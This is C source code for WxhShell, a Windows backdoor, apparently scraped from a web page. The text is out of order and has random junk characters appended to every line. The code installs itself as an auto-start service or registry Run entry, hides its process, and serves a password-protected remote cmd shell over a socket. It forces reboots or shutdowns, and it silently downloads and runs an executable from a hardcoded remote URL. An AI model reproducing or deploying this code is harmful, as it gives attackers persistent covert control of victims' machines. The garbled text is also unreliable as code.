    if(Boot(SHUTDOWN)) @okm@6J*X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4z 3$  
    else { _~#C $-T  
    closesocket(wsh); X9`C2fyVd  
    ExitThread(0); :;#}9g9  
    } w-Q 6 -  
    break; FLnAN;  
    } @XG`D>%k  
  // 获取shell +sbacMfq  
  case 's': {  [;LPeO  
    CmdShell(wsh); \g[f4xAV  
    closesocket(wsh); A[,"jh  
    ExitThread(0); ZT-45_  
    break; VflPNzixb!  
  } 2'^OtM,  
  // 退出 N4]6LA6x6  
  case 'x': { [N$_@[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); jvKaxB;e  
    CloseIt(wsh); .j<B5/+  
    break; Hr,lA(  
    } {8p?we3l1  
  // 离开 d=OO(sf  
  case 'q': { I EsD=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); e =Tc(Mwn  
    closesocket(wsh); Q c< O; #  
    WSACleanup(); Pg8=  
    exit(1); 8}`8lOE7  
    break; -Aym+N9  
        } 8JO\%DFJ  
  } G.E~&{5xQ  
  } Hf]}OvT>Z  
6o23#JgN  
  // 提示信息 LYT<o FE-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xcRrI|?eC  
} Jz8#88cY  
  } j\L$dPZ  
UHl/AM> !  
  return; t:@A)ip  
}  >33b@)  
LUVJ218p  
// shell模块句柄 { rJF)\2  
int CmdShell(SOCKET sock) T`<k4ur  
{ O*Pe [T5x'  
STARTUPINFO si; R/FV'qy]  
ZeroMemory(&si,sizeof(si)); Ytnr$*5.  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Us~wv"L=UX  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; LK}eU,m=  
PROCESS_INFORMATION ProcessInfo; /%'7sx[p  
char cmdline[]="cmd"; Y~ ?YA/.x  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |B WK"G  
  return 0; H9m2Whq  
} MZMv.OeYt,  
@y2Bq['  
// 自身启动模式 >oYwzK0&  
int StartFromService(void) $[;eb,  
{ =` >Nfa+,  
typedef struct F88SV6  
{ Pw{{+PBu R  
  DWORD ExitStatus; >h-6B=  
  DWORD PebBaseAddress; .{ Lm  
  DWORD AffinityMask; 3'uES4+r  
  DWORD BasePriority; Vk=<,<BB  
  ULONG UniqueProcessId; 3>3ZfFC  
  ULONG InheritedFromUniqueProcessId; XzFqQ- H  
}   PROCESS_BASIC_INFORMATION; @?AE75E{  
*jSc&{s~  
PROCNTQSIP NtQueryInformationProcess; _^$b$4)  
%ycT}Lu  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; s"!}=k X  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (:k`wh&  
]-OkW.8d1  
  HANDLE             hProcess; fBh|:2u  
  PROCESS_BASIC_INFORMATION pbi; FOyfk$  
BrmFwXLP"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  xyCcd=  
  if(NULL == hInst ) return 0; WZ-{K"56  
Ybiz]1d  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); A^7Zy79  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ev ,8?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Ekp 0.c8:  
4nXS9RiF2  
  if (!NtQueryInformationProcess) return 0; o6%f%:&  
ZlXs7 &_  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {%}6 d~Bg  
  if(!hProcess) return 0; ~OfKn1D  
wpMQ 7:j  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; SvrV5X  
KAEpFobYo  
  CloseHandle(hProcess); j`hbQp\`  
I=I%e3GEm  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <xz-7EqbwX  
if(hProcess==NULL) return 0; P?ol]MwaB  
z1A-EeT  
HMODULE hMod; !.N=Y;@lY  
char procName[255]; ~&|i'f[  
unsigned long cbNeeded; c=E.-  
e+aQ$1^t  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); FJ. :*K[  
jH/%Z5iu  
  CloseHandle(hProcess); LM`#S/h  
0$uS)J\;K  
if(strstr(procName,"services")) return 1; // 以服务启动 ur5n{0#  
+6E<+-N  
  return 0; // 注册表启动 o?8j *]  
} .v8=zi:7Y  
N=x,96CF  
// 主模块 f 8U;T$)  
int StartWxhshell(LPSTR lpCmdLine) ~<R~Q:T  
{ 1 .k}gl0<  
  SOCKET wsl; _~<TAFBr  
BOOL val=TRUE; uf3 gVS_h=  
  int port=0; I9aber1  
  struct sockaddr_in door; .6(i5K  
Onyq'  
  if(wscfg.ws_autoins) Install();  .l'QCW9  
`/iN%ZKum  
port=atoi(lpCmdLine); 9LRY  
|%9~W^b  
if(port<=0) port=wscfg.ws_port; [a6lE"yr  
3F3?be  
  WSADATA data; >0$5H]1u  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; L1+cv;t  
p gi7 JQ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   pYQs|5d  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); sIM`Q%  
  door.sin_family = AF_INET; pc>R|~J{2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;^]F~x}  
  door.sin_port = htons(port); SS-   
}DwXs`M7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ymqhI\>y#  
closesocket(wsl); s#sX r  
return 1; )E|Bb=%  
} IRY2H#:$  
\NRRN eu|  
  if(listen(wsl,2) == INVALID_SOCKET) { % M:"Ai5:  
closesocket(wsl); :oQaN[3>_  
return 1; G_RK3E[FK  
} {QJ`.6Kt  
  Wxhshell(wsl); %J'_c|EQM  
  WSACleanup(); 3e:y?hpeL  
-z94>}Z=  
return 0; B5S1F4  
],m-,K  
} eSf:[^  
{^iV<>J  
// 以NT服务方式启动 )/w2]d/9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {:cA'6f.b  
{ 8'62[e|=7[  
DWORD   status = 0; Yzz8:n  
  DWORD   specificError = 0xfffffff; To95WG7G  
VI{1SIhfa  
  serviceStatus.dwServiceType     = SERVICE_WIN32; +!wc(N[(2  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; xDS9gGr  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &v88x s  
  serviceStatus.dwWin32ExitCode     = 0; b1"wQM9  
  serviceStatus.dwServiceSpecificExitCode = 0; AmFHn  
  serviceStatus.dwCheckPoint       = 0; 48VsHqG  
  serviceStatus.dwWaitHint       = 0; I-I5^s  
;!b(b%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); c{0?gt.  
  if (hServiceStatusHandle==0) return; !LA#c'  
rCYn YA  
status = GetLastError(); hR2.w/2j  
  if (status!=NO_ERROR) G})mw  
{ XafyI*pOX  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; E&AR=yqk  
    serviceStatus.dwCheckPoint       = 0; w.jATMJ)F  
    serviceStatus.dwWaitHint       = 0; X;0@41t'  
    serviceStatus.dwWin32ExitCode     = status; /:)4tIV  
    serviceStatus.dwServiceSpecificExitCode = specificError; *@Z'{V\  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); oc3/ IWII  
    return; ]0O$2j_7  
  } Z'~FZRF  
t<=L&:<N  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; H#:Yw|t  
  serviceStatus.dwCheckPoint       = 0; sQ$FtKm6  
  serviceStatus.dwWaitHint       = 0; :1I,:L  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {z7{ta  
} 6>Fw,$  
6 9Cxh  
// 处理NT服务事件,比如:启动、停止 P#C`/%$S  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *Bj G3Jc5  
{ q]aRJ`9f  
switch(fdwControl) [S%  
{ t+VPX2  
case SERVICE_CONTROL_STOP: n >^?BU  
  serviceStatus.dwWin32ExitCode = 0;  S_atEmQ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ZL Aq8X  
  serviceStatus.dwCheckPoint   = 0; uo^>95lkv  
  serviceStatus.dwWaitHint     = 0; )_ y{^kn3^  
  { Vl%k:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); aap:~F{]X  
  } ~tWBCq 6  
  return; aNz%vbh\  
case SERVICE_CONTROL_PAUSE: /:DxB00  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; l#Tm`br  
  break; r]yq #T`z  
case SERVICE_CONTROL_CONTINUE: ,^(T^ -  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3y!CkJKv  
  break; d$ /o\G  
case SERVICE_CONTROL_INTERROGATE: 0WFZx Ad"  
  break; [g{}0 [ew  
}; *w;f\zW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); f55Ev<oOa  
} #'[ f^xgJ  
q:'(1y~  
// 标准应用程序主函数 6m]L{ buP  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) sr\MQ?\fB  
{ DmYm~hzJ  
` mi!"pmw  
// 获取操作系统版本 m-:k]9I  
OsIsNt=GetOsVer(); Oj2[(7 mO/  
GetModuleFileName(NULL,ExeFile,MAX_PATH); TCYnErqk  
+1Uw<~  
  // 从命令行安装 !(]|!F[m  
  if(strpbrk(lpCmdLine,"iI")) Install(); S'WmPv  
_MR2,mC  
  // 下载执行文件 >2rFURcD  
if(wscfg.ws_downexe) { {>:2Ff]O:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) cIX59y#7  
  WinExec(wscfg.ws_filenam,SW_HIDE); :p{iBDA  
} f,$CiZ"  
3+Q6<MS q  
if(!OsIsNt) { IRQ(/:]  
// 如果时win9x,隐藏进程并且设置为注册表启动 %ug`dZ/  
HideProc(); 5H79) n>  
StartWxhshell(lpCmdLine); /swTn1<Y  
} P _ SJK  
else myYe~f4=HQ  
  if(StartFromService()) 9'tM65K  
  // 以服务方式启动 mb#)w`<  
  StartServiceCtrlDispatcher(DispatchTable); Yv{AoL~  
else 6l=n&YO  
  // 普通方式启动 {Hb _o)S  
  StartWxhshell(lpCmdLine); &I70veNY  
jq[>PvR  
return 0; =($qiL'h  
} c/s'&gG33z  
k`?n("j  
5rc<ibGh  
{BJxRH"&6*  
=========================================== ELm#  
hZpFI?lqc\  
[]@Mk  
zIL.R#|D=  
{3;4=R3  
ScI9.{  
" W] lFwj  
qP"m819m  
#include <stdio.h> ZK;HW  
#include <string.h> XhS<GF%  
#include <windows.h> OTRTa{TB  
#include <winsock2.h> 8z+ CYeV  
#include <winsvc.h> m\t %wr  
#include <urlmon.h>  E$G8-  
&1I0i[R  
#pragma comment (lib, "Ws2_32.lib") ,+JAwII>O  
#pragma comment (lib, "urlmon.lib") ;c'jBi5W  
F8pLA@7[  
#define MAX_USER   100 // 最大客户端连接数 g><sZqj8tt  
#define BUF_SOCK   200 // sock buffer W6)A":`  
#define KEY_BUFF   255 // 输入 buffer "];19]x6q  
ie_wJ=s  
#define REBOOT     0   // 重启 |HL1.;1  
#define SHUTDOWN   1   // 关机 al5?w{us  
R4o_zwWgPw  
#define DEF_PORT   5000 // 监听端口 / og'W j  
X<1# )xC  
#define REG_LEN     16   // 注册表键长度 ~h1'_0t   
#define SVC_LEN     80   // NT服务名长度 ]-O:|q>]  
Q{>{ e3z}  
// 从dll定义API A5z`3T;1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Tx!mW-Lt  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); K <0ItN v  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); p1Els /|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); y :457R2F  
L:S[QwQu8  
// wxhshell配置信息 <5nz:B/  
struct WSCFG { O=yUA AD$  
  int ws_port;         // 监听端口 Ly^r8I  
  char ws_passstr[REG_LEN]; // 口令 0iwx$u 7[  
  int ws_autoins;       // 安装标记, 1=yes 0=no X&K1>dgWP  
  char ws_regname[REG_LEN]; // 注册表键名 $FD0MrB_+  
  char ws_svcname[REG_LEN]; // 服务名 N[AX29  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 . [C ~a  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 xL mo?Y*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 wc ^z9y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no S3 &L  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" TEY%OI zU+  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 M*t{?o/t;  
RhYf+?2  
}; nlJxF5/  
Fd3V5h  
// default Wxhshell configuration N5 g!,3  
struct WSCFG wscfg={DEF_PORT, 0{ \AP<  
    "xuhuanlingzhe", ba ,2.|  
    1, @o_-UsUX  
    "Wxhshell", R7vO,kZ6Q  
    "Wxhshell", )4DF9JpD  
            "WxhShell Service", xvb5-tK -  
    "Wrsky Windows CmdShell Service", oas}8A)  
    "Please Input Your Password: ", f 1]1ZOb  
  1, }VyD X14j  
  "http://www.wrsky.com/wxhshell.exe", xFgY#F  
  "Wxhshell.exe" h_H$+!Nzb  
    }; TJ+yBMd*%  
3C5<MxtK  
// 消息定义模块 edA.Va|0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :dB6/@f W  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ZXp=QH+f  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $yG=exh3v  
char *msg_ws_ext="\n\rExit."; y_QK _R<f  
char *msg_ws_end="\n\rQuit."; 3^C  
char *msg_ws_boot="\n\rReboot..."; 2b2/jzO}J  
char *msg_ws_poff="\n\rShutdown..."; hbn2(e;FZ  
char *msg_ws_down="\n\rSave to "; IRD?.K]*  
|LWG7 ZE  
char *msg_ws_err="\n\rErr!"; ]M#_o]  
char *msg_ws_ok="\n\rOK!"; `N$<]i]s5  
gLU #\d]  
char ExeFile[MAX_PATH]; 9z,V]v=  
int nUser = 0; .%.J Q  
HANDLE handles[MAX_USER]; >/GVlXA'  
int OsIsNt; { "=d7i  
wU+-;C5e  
SERVICE_STATUS       serviceStatus; -FdhV%5]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Eqnc("m)  
RP!X 5  
// 函数声明 %i$]S`A}  
int Install(void); 'f]\@&Np  
int Uninstall(void); :Fu.S1j$  
int DownloadFile(char *sURL, SOCKET wsh); O\8_;Gc;  
int Boot(int flag); WF`y j%0  
void HideProc(void); bZz ,'  
int GetOsVer(void); Qn6'E  
int Wxhshell(SOCKET wsl); i#=s_v8  
void TalkWithClient(void *cs); O6 bB CF;  
int CmdShell(SOCKET sock); % ,1bh  
int StartFromService(void); =UT*1-yh R  
int StartWxhshell(LPSTR lpCmdLine); d%8hWlffz  
\= =rdW-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8 Zhx&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >Ta|#]{  
{L4ta~2/T  
// 数据结构和表定义 ]gx]7  
SERVICE_TABLE_ENTRY DispatchTable[] = CM|?;PBuv  
{ [HLXWu3  
{wscfg.ws_svcname, NTServiceMain}, `2( )Vf  
{NULL, NULL} 73 ix4C  
}; 09HlL=0q  
AQ7w5}g+V  
// 自我安装 %dw@;IZ#8{  
int Install(void) fIWOo >)D  
{ 4'_PLOgnX  
  char svExeFile[MAX_PATH]; 1U^;fqvja  
  HKEY key; TldqF BX  
  strcpy(svExeFile,ExeFile); Q!9AxM2K  
My vp PW  
// 如果是win9x系统,修改注册表设为自启动 U8m/L^zh  
if(!OsIsNt) { W^v3pH-y#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2Sz?r d,0f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Bs:INvhYW  
  RegCloseKey(key); f_I6g uDPz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t4X:I&l-M:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8 6y)+h`  
  RegCloseKey(key); eEl}.W}  
  return 0; $qO%lJ:  
    } 8A}cxk  
  } @|BaZq,g  
} Te_%r9P|2  
else { > yk2  
C3>&O?7J*7  
// 如果是NT以上系统,安装为系统服务 P+K< /i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^--kcTiR%  
if (schSCManager!=0) _!2bZ:emG  
{ XA PqRJ*Z  
  SC_HANDLE schService = CreateService mhpaPin*JS  
  ( EVYICR5g  
  schSCManager, ,}?x!3  
  wscfg.ws_svcname, c%tb6@C  
  wscfg.ws_svcdisp, % s&l^&ux  
  SERVICE_ALL_ACCESS, N/CL?Z>c  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8=\}#F  
  SERVICE_AUTO_START, dX^ ^ @7  
  SERVICE_ERROR_NORMAL, (]ToBju  
  svExeFile, \2]M &n GT  
  NULL, qD!qSM  
  NULL, ,E ]vM&  
  NULL, O1xK\ogv  
  NULL, W w\M3Q`h  
  NULL bYt [/K,  
  ); 0[E}[{t`  
  if (schService!=0) K;)(fc  
  { hc#Sy:T>  
  CloseServiceHandle(schService); &puPn:_  
  CloseServiceHandle(schSCManager); Q &~|P}  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ' m^nKG$"  
  strcat(svExeFile,wscfg.ws_svcname); 9eR4?^(3!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { M it3q  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); FglW|Hwy  
  RegCloseKey(key); ] 40@yrc  
  return 0; CmP_9M?ce  
    } Q^trKw~XNy  
  } rHngYcjR  
  CloseServiceHandle(schSCManager); oyC5M+shP9  
} VkW N1A  
} |tn.ZEgw3~  
w&F.LiX^  
return 1; I) ]"`2w2w  
} ^?<gz!(-  
h$`zuz  
// 自我卸载 05SK$ Y<<  
int Uninstall(void) h[*:\P`  
{ F .h A.E  
  HKEY key; rvEX ;8TS  
HAKB@h)  
if(!OsIsNt) { [[FDt[ l4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r&rip^40  
  RegDeleteValue(key,wscfg.ws_regname); {f1iys'Om  
  RegCloseKey(key); L*(Sh2=_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H;w8[ImK  
  RegDeleteValue(key,wscfg.ws_regname); FHOF 6}if  
  RegCloseKey(key); X iW~? *Z  
  return 0; X\Gbs=sf6  
  } Gv\39+9 =  
} i0q<,VSl$_  
} lD9QS ;  
else { 0Ba*"/U]t~  
SB x<-^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2p|ed=ly%  
if (schSCManager!=0) (pv6V2i  
{ }z,f8Yz  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2r^G;,{  
  if (schService!=0) v{r,Wy3  
  { nI_UL  
  if(DeleteService(schService)!=0) { 0+{CN|0  
  CloseServiceHandle(schService); BWF>;*Xro  
  CloseServiceHandle(schSCManager); !FA[ ]d4  
  return 0; -4Hf5!  
  } ZVIlVuZ}  
  CloseServiceHandle(schService); y?P4EVknM3  
  } >S}^0vNZX  
  CloseServiceHandle(schSCManager); +d!"Zy2|B  
} `=%mU/v  
} i K,^|Q8  
]iezwz`'  
return 1; r7FFZNs!  
} \DMZ M  
c9O0YQ3&8  
// 从指定url下载文件 nq%GLUH   
int DownloadFile(char *sURL, SOCKET wsh) .dPy<6E  
{ XlJA}^e  
  HRESULT hr; Um%$TGw5  
char seps[]= "/"; 1c4@qQyo  
char *token; JRr'81\  
char *file; h?7@]&VJ  
char myURL[MAX_PATH]; b}HwvS:  
char myFILE[MAX_PATH]; CaB@,L  
S; Fj9\2)I  
strcpy(myURL,sURL); B`w@Xk'D  
  token=strtok(myURL,seps); pq +~|  
  while(token!=NULL) / n@by4;W  
  { tRYi q  
    file=token; }rA _4%  
  token=strtok(NULL,seps); FR^(1+lx&  
  } irooFR[L9  
,V &RpKek  
GetCurrentDirectory(MAX_PATH,myFILE); \Z8:^ct.P  
strcat(myFILE, "\\"); _Gtq]`y  
strcat(myFILE, file); UF PSQ  
  send(wsh,myFILE,strlen(myFILE),0); Z/oP?2/Afh  
send(wsh,"...",3,0); WH lvd  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ana?;NvC  
  if(hr==S_OK) .azA1@V|  
return 0; M0K+Vz=  
else _>u0vGF-  
return 1; 6b-E|;"]:^  
"w&G1kw5I  
} +`&-xq76  
M32Z3<  
// 系统电源模块 l<-0@(x)  
int Boot(int flag) ov|/=bzro  
{ WUK{st.z  
  HANDLE hToken; aTFT'(O,  
  TOKEN_PRIVILEGES tkp; m\eYm;R Vj  
~8tb^  
  if(OsIsNt) { 3:MAdh[w  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); - p*j9 z  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); N VBWF  
    tkp.PrivilegeCount = 1; d9pZg=$8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; tdi^e;:?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); n-x%<j(Xf  
if(flag==REBOOT) { r0:I  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) u(C?\HaH  
  return 0; u&Cu"-%=M  
} #xNXCBl]O  
else { \9%RY]TK3  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ICm/9Onh&  
  return 0; 4h$W4NJK  
} VWT\wA L  
  } s5&v~I;>e  
  else { :d} @Z}2sD  
if(flag==REBOOT) { ;t5e]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !cA4erBP  
  return 0; xC YL3hl  
} |#J!oBS!  
else { JG*Lc@Q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) M?.[Rr-uw  
  return 0; r8TNl@Z  
} '[`pU>9  
} {wCzm  
!~QmY,R  
return 1; hx:"'m5  
} aqoxj[V^3L  
{hi'LA-4@  
// win9x进程隐藏模块 o06vC  
void HideProc(void) eG08Xt |lc  
{ %dDwus  
?X~U[dV?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &? z6f9*$  
  if ( hKernel != NULL ) p^X \~Yibs  
  { R6E.C!EI  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); W?2Z31;7  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); /2fQM_ ,P  
    FreeLibrary(hKernel); bFwc>  
  } 5o2|QL  
,%U'>F?  
return; ,_!MI+o0  
} 3-U@==:T  
sHf.xc  
// 获取操作系统版本 e!p?~70  
int GetOsVer(void) 3ox 0-+_  
{ jCxg)D7W  
  OSVERSIONINFO winfo; R^=[D#*]>  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -eQ70BXvB  
  GetVersionEx(&winfo); a6epew!2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) lAA s/  
  return 1; qIg^R@  
  else |iGfWJ^+  
  return 0; ![hVTZ,hyZ  
} ;6/dFOZn  
D>m!R[!o  
// 客户端句柄模块 qcR"i+b  
int Wxhshell(SOCKET wsl) m6YDyQC  
{ 5/C#*%EH'  
  SOCKET wsh; oa:30@HSb  
  struct sockaddr_in client; ?)mM]2%%  
  DWORD myID; ?n9?`8a#  
K-,8~8[  
  while(nUser<MAX_USER) IHStN,QD  
{ \iM  
  int nSize=sizeof(client); \%$z!]S>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); jyFXAs2  
  if(wsh==INVALID_SOCKET) return 1; Hribk[99  
s2;b-0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _S3qPPo3l]  
if(handles[nUser]==0) =.yKl*WV{  
  closesocket(wsh); %2z] 2@  
else `AcT}. u  
  nUser++; W=ar&O~}n  
  } ;=F]{w]$+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); AD4Ot5  
*Rj(~Q/t  
  return 0; sJB::6+1(|  
} >uVr;,=y  
:y8wv|m  
// 关闭 socket TYN~c(  
void CloseIt(SOCKET wsh) jw$[b=sa  
{ \&. ]!!Q  
closesocket(wsh); 1k?k{Ri  
nUser--; iES?}K/q  
ExitThread(0); a@}A;y'd  
} %VmHw~xyF:  
0 V3`rK  
// 客户端请求句柄 <P#]U"?A  
void TalkWithClient(void *cs) oY8S-N;(t  
{ 9~6)u=4sS"  
N_eZz#);  
  SOCKET wsh=(SOCKET)cs; a^QyYX}\qR  
  char pwd[SVC_LEN]; c0Oc-,6J  
  char cmd[KEY_BUFF]; |}KNtIX\G  
char chr[1]; Jrm 9,7/  
int i,j; X0e#w?  
?/ Cl  
  while (nUser < MAX_USER) { |)+; d  
g}Esj"7  
if(wscfg.ws_passstr) { < rqFBq 8  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r'~^BLT`#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Kt\#|-{CH-  
  //ZeroMemory(pwd,KEY_BUFF); ~.L\f%<  
      i=0; WC *e#QP  
  while(i<SVC_LEN) { '980.  
NB[(O#  
  // 设置超时 J8:f9a:|M  
  fd_set FdRead; wR*>9LjeG  
  struct timeval TimeOut; 6im!v<1Qx  
  FD_ZERO(&FdRead); ~T'Ri=  
  FD_SET(wsh,&FdRead); bL"!z"NA  
  TimeOut.tv_sec=8; C)8>_PY[M  
  TimeOut.tv_usec=0; [6{o13mCWE  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %YbcI|i]<0  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); RJO40&Z<Z  
v cZg3:j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fBRU4q=^T  
  pwd=chr[0]; B`i 5lD  
  if(chr[0]==0xd || chr[0]==0xa) { q#!]5  
  pwd=0; JOvRU DZ  
  break; <C6*-j1oz  
  } AHl1{* [  
  i++; [d}AlG!  
    } (M,IgSn9  
Z[pMlg6Z  
  // 如果是非法用户,关闭 socket /Xo8 kC  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); u[;,~eB%w  
} ** !  
ic]b"ItD  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0}d^UGD  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xhmrep6+<  
@Wb_Sz4`  
while(1) { By7? <A  
d9kN @W  
  ZeroMemory(cmd,KEY_BUFF); klwNeGF]N  
_0: }"!Gq  
      // 自动支持客户端 telnet标准   Sp>v`{F  
  j=0; / Hg/)  
  while(j<KEY_BUFF) { M)v4>Rw+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G378,H  
  cmd[j]=chr[0]; eK=<a<tx  
  if(chr[0]==0xa || chr[0]==0xd) { vl67Xtk4  
  cmd[j]=0; \8e27#PJR  
  break; (;.wsz &K  
  } cN(Toj'`  
  j++; W$bQS!7y  
    } H$o=kQN  
svTKt%6X  
  // 下载文件 ^^C@W?.z  
  if(strstr(cmd,"http://")) { yl'@p 5n  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (yB)rBh>n  
  if(DownloadFile(cmd,wsh)) 4>I >y@^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _I1:|y  
  else dW`!/OaQD  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Sq Y$\&%  
  } .\6q\7Ej  
  else { 4`M7 3k0  
#lld*I"d  
